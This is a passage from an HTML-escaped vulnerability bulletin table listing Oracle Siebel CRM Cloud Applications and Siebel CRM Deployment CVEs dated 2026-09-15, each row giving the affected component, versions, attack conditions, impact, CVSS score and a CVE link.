&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications. Successful attacks of this vulnerability can result in takeover of Siebel CRM Cloud Applications. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83086&quot; target=&quot;_blank&quot;&gt;CVE-2026-83086&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Cloud Applications. While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83087&quot; target=&quot;_blank&quot;&gt;CVE-2026-83087&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Cloud Applications. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83075&quot; target=&quot;_blank&quot;&gt;CVE-2026-83075&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Cloud Applications&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Cloud Applications product of Oracle Siebel CRM (component: Siebel Cloud Manager). Supported versions that are affected are 22.3-26.7. Easily exploitable vulnerability allows high privileged attacker with logon to the infrastructure where Siebel CRM Cloud Applications executes to compromise Siebel CRM Cloud Applications. While the vulnerability is in Siebel CRM Cloud Applications, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Cloud Applications accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Cloud Applications accessible data. CVSS 3.1 Base Score 7.9 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83079&quot; target=&quot;_blank&quot;&gt;CVE-2026-83079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83196&quot; target=&quot;_blank&quot;&gt;CVE-2026-83196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83201&quot; target=&quot;_blank&quot;&gt;CVE-2026-83201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83202&quot; target=&quot;_blank&quot;&gt;CVE-2026-83202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Siebel Management Console). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. While the vulnerability is in Siebel CRM Deployment, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83229&quot; target=&quot;_blank&quot;&gt;CVE-2026-83229&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83153&quot; target=&quot;_blank&quot;&gt;CVE-2026-83153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83180&quot; target=&quot;_blank&quot;&gt;CVE-2026-83180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83191&quot; target=&quot;_blank&quot;&gt;CVE-2026-83191&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83199&quot; target=&quot;_blank&quot;&gt;CVE-2026-83199&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Migration). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83208&quot; target=&quot;_blank&quot;&gt;CVE-2026-83208&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83210&quot; target=&quot;_blank&quot;&gt;CVE-2026-83210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data as well as unauthorized update, insert or delete access to some of Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83215&quot; target=&quot;_blank&quot;&gt;CVE-2026-83215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Installation). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82992&quot; target=&quot;_blank&quot;&gt;CVE-2026-82992&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with access to the physical communication segment attached to the hardware where the Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.3 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83155&quot; target=&quot;_blank&quot;&gt;CVE-2026-83155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83183&quot; target=&quot;_blank&quot;&gt;CVE-2026-83183&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83190&quot; target=&quot;_blank&quot;&gt;CVE-2026-83190&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows high privileged attacker with network access via TCP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83195&quot; target=&quot;_blank&quot;&gt;CVE-2026-83195&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83211&quot; target=&quot;_blank&quot;&gt;CVE-2026-83211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83214&quot; target=&quot;_blank&quot;&gt;CVE-2026-83214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83216&quot; target=&quot;_blank&quot;&gt;CVE-2026-83216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83218&quot; target=&quot;_blank&quot;&gt;CVE-2026-83218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Siebel CRM Deployment executes to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Siebel CRM Deployment accessible data as well as unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83219&quot; target=&quot;_blank&quot;&gt;CVE-2026-83219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83222&quot; target=&quot;_blank&quot;&gt;CVE-2026-83222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Siebel Remote). Supported versions that are affected are 17.0-26.7. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in takeover of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83223&quot; target=&quot;_blank&quot;&gt;CVE-2026-83223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Siebel CRM Deployment accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83224&quot; target=&quot;_blank&quot;&gt;CVE-2026-83224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
&lt;td&gt;Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-26.7. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83225&quot; target=&quot;_blank&quot;&gt;CVE-2026-83225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Siebel CRM Deployment&lt;/td&gt;
